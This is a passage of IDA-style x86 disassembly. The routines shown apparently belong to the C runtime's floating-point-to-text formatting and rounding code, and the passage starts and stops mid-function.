		mov	byte ptr [esi],	2Dh
		inc	esi
		neg	eax
		adc	edx, ebx
		neg	edx


loc_41945D:				; CODE XREF: sub_41917C+2D5j
		cmp	edx, ebx
		mov	edi, esi
		mov	byte ptr [esi],	30h
		jl	short loc_41948A
		mov	ecx, 3E8h
		jg	short loc_419471
		cmp	eax, ecx
		jb	short loc_41948A


loc_419471:				; CODE XREF: sub_41917C+2EFj
		push	ebx
		push	ecx
		push	edx
		push	eax
		call	sub_419C40
		add	al, 30h
		mov	[esi], al
		inc	esi
		mov	[ebp+var_10], edx
		mov	eax, ecx
		mov	edx, ebx
		cmp	esi, edi
		jnz	short loc_419495


loc_41948A:				; CODE XREF: sub_41917C+2E8j
					; sub_41917C+2F3j
		test	edx, edx
		jl	short loc_4194AC
		jg	short loc_419495
		cmp	eax, 64h
		jb	short loc_4194AC


loc_419495:				; CODE XREF: sub_41917C+30Cj
					; sub_41917C+312j
		push	0
		push	64h
		push	edx
		push	eax
		call	sub_419C40
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	edx, ebx


loc_4194AC:				; CODE XREF: sub_41917C+310j
					; sub_41917C+317j
		cmp	esi, edi
		jnz	short loc_4194BB
		test	edx, edx
		jl	short loc_4194D3
		jg	short loc_4194BB
		cmp	eax, 0Ah
		jb	short loc_4194D3


loc_4194BB:				; CODE XREF: sub_41917C+332j
					; sub_41917C+338j
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_419C40
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	[ebp+var_10], ebx


loc_4194D3:				; CODE XREF: sub_41917C+336j
					; sub_41917C+33Dj
		add	al, 30h
		mov	[esi], al
		mov	byte ptr [esi+1], 0


loc_4194DB:				; CODE XREF: sub_41917C+10Dj
					; sub_41917C+128j
		cmp	[ebp+var_18], 0
		jz	short loc_4194E8
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4194E8:				; CODE XREF: sub_41917C+363j
		xor	eax, eax


loc_4194EA:				; CODE XREF: sub_41917C+D2j
					; sub_41917C+DFj
		pop	ebx


loc_4194EB:				; CODE XREF: sub_41917C+5Aj
		pop	edi
		pop	esi
		leave
		retn
sub_41917C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194EF	proc near		; CODE XREF: sub_4195E6+A4p
					; sub_4196A1+C5p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		mov	ebx, eax
		mov	esi, [ebx+4]
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		dec	esi
		call	sub_40C799
		test	edi, edi
		jnz	short loc_41953E


loc_419511:				; CODE XREF: sub_4194EF+53j
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_419537
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419537:				; CODE XREF: sub_4194EF+3Fj
		mov	eax, esi
		jmp	loc_4195E1
; ---------------------------------------------------------------------------


loc_41953E:				; CODE XREF: sub_4194EF+20j
		cmp	[ebp+arg_0], 0
		jbe	short loc_419511
		cmp	[ebp+arg_8], 0
		jz	short loc_419562
		cmp	esi, [ebp+arg_4]
		jnz	short loc_419562
		xor	eax, eax
		cmp	dword ptr [ebx], 2Dh
		setz	al
		add	eax, esi
		add	eax, edi
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0


loc_419562:				; CODE XREF: sub_4194EF+59j
					; sub_4194EF+5Ej
		cmp	dword ptr [ebx], 2Dh
		mov	esi, edi
		jnz	short loc_41956F
		mov	byte ptr [edi],	2Dh
		lea	esi, [edi+1]


loc_41956F:				; CODE XREF: sub_4194EF+78j
		mov	eax, [ebx+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_419586
		mov	eax, esi
		call	sub_418ED8
		mov	byte ptr [esi],	30h
		inc	esi
		jmp	short loc_419588
; ---------------------------------------------------------------------------


loc_419586:				; CODE XREF: sub_4194EF+88j
		add	esi, eax


loc_419588:				; CODE XREF: sub_4194EF+95j
		cmp	[ebp+arg_4], 0
		jle	short loc_4195D2
		mov	eax, esi
		call	sub_418ED8
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al
		mov	ebx, [ebx+4]
		inc	esi
		test	ebx, ebx
		jge	short loc_4195D2
		neg	ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_4195B9
		cmp	[ebp+arg_4], ebx
		jl	short loc_4195BC


loc_4195B9:				; CODE XREF: sub_4194EF+C3j
		mov	[ebp+arg_4], ebx


loc_4195BC:				; CODE XREF: sub_4194EF+C8j
		mov	edi, [ebp+arg_4]
		mov	eax, esi
		call	sub_418ED8
		push	edi
		push	30h
		push	esi
		call	sub_40BD40
		add	esp, 0Ch


loc_4195D2:				; CODE XREF: sub_4194EF+9Dj
					; sub_4194EF+BBj
		cmp	[ebp+var_4], 0
		jz	short loc_4195DF
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4195DF:				; CODE XREF: sub_4194EF+E7j
		xor	eax, eax


loc_4195E1:				; CODE XREF: sub_4194EF+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4194EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195E6	proc near		; CODE XREF: sub_41979B+26p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_419BA4
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_419638


loc_419620:				; CODE XREF: sub_4195E6+57j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_419692
; ---------------------------------------------------------------------------


loc_419638:				; CODE XREF: sub_4195E6+38j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_419620
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419648
		or	eax, eax
		jmp	short loc_419653
; ---------------------------------------------------------------------------


loc_419648:				; CODE XREF: sub_4195E6+5Cj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx


loc_419653:				; CODE XREF: sub_4195E6+60j
		mov	esi, [ebp+arg_C]
		lea	ecx, [ebp+var_2C]
		push	ecx
		mov	ecx, [ebp+var_28]
		add	ecx, esi
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_419A28
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41967D
		mov	[edi], bl
		jmp	short loc_419692
; ---------------------------------------------------------------------------


loc_41967D:				; CODE XREF: sub_4195E6+91j
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_4194EF
		add	esp, 10h


loc_419692:				; CODE XREF: sub_4195E6+50j
					; sub_4195E6+95j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_4195E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196A1	proc near		; CODE XREF: sub_41979B+4Cp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	16h
		pop	edi
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_419BA4
		xor	ebx, ebx
		add	esp, 14h
		cmp	esi, ebx
		jnz	short loc_4196F6


loc_4196DB:				; CODE XREF: sub_4196A1+5Aj
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], edi
		call	sub_40B255
		add	esp, 14h
		mov	eax, edi
		jmp	loc_41978C
; ---------------------------------------------------------------------------


loc_4196F6:				; CODE XREF: sub_4196A1+38j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, ebx
		jbe	short loc_4196DB
		mov	eax, [ebp+var_2C]
		dec	eax
		mov	[ebp+var_20], eax
		xor	eax, eax
		cmp	[ebp+var_30], 2Dh
		setz	al
		lea	edi, [eax+esi]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_419719
		or	ecx, ecx
		jmp	short loc_41971B
; ---------------------------------------------------------------------------


loc_419719:				; CODE XREF: sub_4196A1+72j
		sub	ecx, eax


loc_41971B:				; CODE XREF: sub_4196A1+76j
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_C]
		push	ecx
		push	edi
		call	sub_419A28
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_419734
		mov	[esi], bl
		jmp	short loc_41978C
; ---------------------------------------------------------------------------


loc_419734:				; CODE XREF: sub_4196A1+8Dj
		mov	eax, [ebp+var_2C]
		dec	eax
		cmp	[ebp+var_20], eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_419770
		cmp	eax, [ebp+arg_C]
		jge	short loc_419770
		cmp	cl, bl
		jz	short loc_419756


loc_41974C:				; CODE XREF: sub_4196A1+B0j
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41974C
		mov	[edi-2], bl


loc_419756:				; CODE XREF: sub_4196A1+A9j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_4194EF
		add	esp, 10h
		jmp	short loc_41978C
; ---------------------------------------------------------------------------


loc_419770:				; CODE XREF: sub_4196A1+A0j
					; sub_4196A1+A5j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		push	[ebp+arg_10]
		mov	eax, esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_418F1D
		add	esp, 18h


loc_41978C:				; CODE XREF: sub_4196A1+50j
					; sub_4196A1+91j ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_4196A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41979B	proc near		; CODE XREF: sub_419823+19p
					; DATA XREF: sub_418C38+37o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		cmp	eax, 65h
		jz	short loc_419807
		cmp	eax, 45h
		jz	short loc_419807
		cmp	eax, 66h
		jnz	short loc_4197CB
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4195E6
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4197CB:				; CODE XREF: sub_41979B+15j
		cmp	eax, 61h
		jz	short loc_4197EE
		cmp	eax, 41h
		jz	short loc_4197EE
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4196A1
		jmp	short loc_41981E
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_41979B+33j
					; sub_41979B+38j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41917C
		jmp	short loc_41981E
; ---------------------------------------------------------------------------


loc_419807:				; CODE XREF: sub_41979B+Bj
					; sub_41979B+10j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41908C


loc_41981E:				; CODE XREF: sub_41979B+51j
					; sub_41979B+6Aj
		add	esp, 18h
		pop	ebp
		retn
sub_41979B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419823	proc near		; DATA XREF: sub_418C38o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41979B
		add	esp, 1Ch
		pop	ebp
		retn
sub_419823	endp


; =============== S U B	R O U T	I N E =======================================



sub_419846	proc near		; CODE XREF: sub_418C98+1Ap
		mov	edi, edi
		push	esi
		push	30000h
		push	10000h
		xor	esi, esi
		push	esi
		call	sub_419D3F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41986F
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_41986F:				; CODE XREF: sub_419846+1Aj
		pop	esi
		retn
sub_419846	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419871	proc near		; CODE XREF: sub_4198AF:loc_4198D3j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424D20
		fstp	[ebp+var_10]
		fld	dbl_424D18
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fdiv	[ebp+var_10]
		fmul	[ebp+var_10]
		fsubr	[ebp+var_18]
		fstp	[ebp+var_8]
		fld1
		fcomp	[ebp+var_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_4198AB
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198AB:				; CODE XREF: sub_419871+33j
		xor	eax, eax
		leave
		retn
sub_419871	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198AF	proc near		; CODE XREF: sub_418C98+Ap
		push	offset aKernel32 ; "KERNEL32"
		call	dword_41D224	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4198D3
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_41D0D8	; GetProcAddress
		test	eax, eax
		jz	short loc_4198D3
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_4198D3:				; CODE XREF: sub_4198AF+Dj
					; sub_4198AF+1Dj
		jmp	sub_419871
sub_4198AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198D8	proc near		; CODE XREF: sub_418E7C+17p

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40C799
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A833
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_419DAB
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_419957
		cmp	eax, 1
		jnz	short loc_419942


loc_419931:				; CODE XREF: sub_4198D8+89j
		cmp	[ebp+var_18], bl
		jz	short loc_41993D
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41993D:				; CODE XREF: sub_4198D8+5Cj
		push	3


loc_41993F:				; CODE XREF: sub_4198D8+7Dj
		pop	eax
		jmp	short loc_419971
; ---------------------------------------------------------------------------


loc_419942:				; CODE XREF: sub_4198D8+57j
		cmp	eax, 2
		jnz	short loc_419963


loc_419947:				; CODE XREF: sub_4198D8+83j
		cmp	[ebp+var_18], bl
		jz	short loc_419953
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419953:				; CODE XREF: sub_4198D8+72j
		push	4
		jmp	short loc_41993F
; ---------------------------------------------------------------------------


loc_419957:				; CODE XREF: sub_4198D8+52j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_419947
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_419931


loc_419963:				; CODE XREF: sub_4198D8+6Dj
		cmp	[ebp+var_18], bl
		jz	short loc_41996F
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41996F:				; CODE XREF: sub_4198D8+8Ej
		xor	eax, eax


loc_419971:				; CODE XREF: sub_4198D8+68j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_4198D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419980	proc near		; CODE XREF: sub_418E7C+30p

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_40C799
		lea	eax, [ebp+var_24]
		push	eax
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	edi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A833
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41A2EF
		add	esp, 28h
		test	byte ptr [ebp+var_14], 3
		jnz	short loc_4199FF
		cmp	eax, 1
		jnz	short loc_4199EA


loc_4199D9:				; CODE XREF: sub_419980+89j
		cmp	[ebp+var_18], bl
		jz	short loc_4199E5
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4199E5:				; CODE XREF: sub_419980+5Cj
		push	3


loc_4199E7:				; CODE XREF: sub_419980+7Dj
		pop	eax
		jmp	short loc_419A19
; ---------------------------------------------------------------------------


loc_4199EA:				; CODE XREF: sub_419980+57j
		cmp	eax, 2
		jnz	short loc_419A0B


loc_4199EF:				; CODE XREF: sub_419980+83j
		cmp	[ebp+var_18], bl
		jz	short loc_4199FB
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4199FB:				; CODE XREF: sub_419980+72j
		push	4
		jmp	short loc_4199E7
; ---------------------------------------------------------------------------


loc_4199FF:				; CODE XREF: sub_419980+52j
		test	byte ptr [ebp+var_14], 1
		jnz	short loc_4199EF
		test	byte ptr [ebp+var_14], 2
		jnz	short loc_4199D9


loc_419A0B:				; CODE XREF: sub_419980+6Dj
		cmp	[ebp+var_18], bl
		jz	short loc_419A17
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419A17:				; CODE XREF: sub_419980+8Ej
		xor	eax, eax


loc_419A19:				; CODE XREF: sub_419980+68j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_419980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A28	proc near		; CODE XREF: sub_41908C+98p
					; sub_4195E6+87p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		push	edi
		mov	edi, [ecx+0Ch]
		cmp	esi, ebx
		jnz	short loc_419A5D


loc_419A3F:				; CODE XREF: sub_419A28+38j
		call	sub_40C862
		push	16h
		pop	esi
		mov	[eax], esi


loc_419A49:				; CODE XREF: sub_419A28+5Bj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	loc_419AE2
; ---------------------------------------------------------------------------


loc_419A5D:				; CODE XREF: sub_419A28+15j
		cmp	[ebp+arg_4], ebx
		jbe	short loc_419A3F
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		mov	[esi], bl
		jle	short loc_419A6F
		mov	eax, edx
		jmp	short loc_419A71
; ---------------------------------------------------------------------------


loc_419A6F:				; CODE XREF: sub_419A28+41j
		xor	eax, eax


loc_419A71:				; CODE XREF: sub_419A28+45j
		inc	eax
		cmp	[ebp+arg_4], eax
		ja	short loc_419A85
		call	sub_40C862
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_419A49
; ---------------------------------------------------------------------------


loc_419A85:				; CODE XREF: sub_419A28+4Dj
		cmp	edx, ebx
		mov	byte ptr [esi],	30h
		lea	eax, [esi+1]
		jle	short loc_419AA9


loc_419A8F:				; CODE XREF: sub_419A28+7Cj
		mov	cl, [edi]
		cmp	cl, bl
		jz	short loc_419A9B
		movsx	ecx, cl
		inc	edi
		jmp	short loc_419A9E
; ---------------------------------------------------------------------------


loc_419A9B:				; CODE XREF: sub_419A28+6Bj
		push	30h
		pop	ecx


loc_419A9E:				; CODE XREF: sub_419A28+71j
		mov	[eax], cl
		inc	eax
		dec	edx
		cmp	edx, ebx
		jg	short loc_419A8F
		mov	ecx, [ebp+arg_C]


loc_419AA9:				; CODE XREF: sub_419A28+65j
		cmp	edx, ebx
		mov	[eax], bl
		jl	short loc_419AC1
		cmp	byte ptr [edi],	35h
		jl	short loc_419AC1
		jmp	short loc_419AB9
; ---------------------------------------------------------------------------


loc_419AB6:				; CODE XREF: sub_419A28+95j
		mov	byte ptr [eax],	30h


loc_419AB9:				; CODE XREF: sub_419A28+8Cj
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_419AB6
		inc	byte ptr [eax]


loc_419AC1:				; CODE XREF: sub_419A28+85j
					; sub_419A28+8Aj
		cmp	byte ptr [esi],	31h
		jnz	short loc_419ACB
		inc	dword ptr [ecx+4]
		jmp	short loc_419AE0
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A28+9Cj
		lea	edi, [esi+1]
		push	edi
		call	sub_40BFB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_40CA30
		add	esp, 10h


loc_419AE0:				; CODE XREF: sub_419A28+A1j
		xor	eax, eax


loc_419AE2:				; CODE XREF: sub_419A28+30j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419A28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE7	proc near		; CODE XREF: sub_419BA4+26p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		movzx	eax, word ptr [edx+6]
		push	ebx
		mov	ecx, eax
		push	esi
		push	edi
		shr	ecx, 4
		and	eax, 8000h
		mov	edi, 7FFh
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		mov	[ebp+var_4], esi
		test	ebx, ebx
		jz	short loc_419B37
		cmp	ebx, edi
		jz	short loc_419B30
		add	ecx, 3C00h
		jmp	short loc_419B58
; ---------------------------------------------------------------------------


loc_419B30:				; CODE XREF: sub_419AE7+3Fj
		mov	edi, 7FFFh
		jmp	short loc_419B5B
; ---------------------------------------------------------------------------


loc_419B37:				; CODE XREF: sub_419AE7+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_419B4F
		cmp	edx, ebx
		jnz	short loc_419B4F
		mov	eax, [ebp+arg_0]
		mov	cx, word ptr [ebp+arg_4]
		mov	[eax+4], ebx
		mov	[eax], ebx
		jmp	short loc_419B9B
; ---------------------------------------------------------------------------


loc_419B4F:				; CODE XREF: sub_419AE7+54j
					; sub_419AE7+58j
		add	ecx, 3C01h
		mov	[ebp+var_4], ebx


loc_419B58:				; CODE XREF: sub_419AE7+47j
		movzx	edi, cx


loc_419B5B:				; CODE XREF: sub_419AE7+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx
		test	ecx, esi
		jnz	short loc_419B96


loc_419B77:				; CODE XREF: sub_419AE7+ADj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		add	edx, edx
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		mov	[eax+4], edx
		mov	[eax], ecx
		test	edx, esi
		jz	short loc_419B77


loc_419B96:				; CODE XREF: sub_419AE7+8Ej
		mov	ecx, [ebp+arg_4]
		or	ecx, edi


loc_419B9B:				; CODE XREF: sub_419AE7+66j
		pop	edi
		pop	esi
		mov	[eax+8], cx
		pop	ebx
		leave
		retn
sub_419AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419BA4	proc near		; CODE XREF: sub_41908C+2Cp
					; sub_4195E6+2Cp ...

var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	[ebp+var_30], eax
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_419AE7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41AF2B
		mov	esi, [ebp+var_30]
		mov	[ebx+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[ebx], eax
		movsx	eax, [ebp+var_2C]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_10]
		push	esi
		call	sub_40CD95
		add	esp, 24h
		test	eax, eax
		jz	short loc_419C20
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40B12D
		add	esp, 14h


loc_419C20:				; CODE XREF: sub_419BA4+6Bj
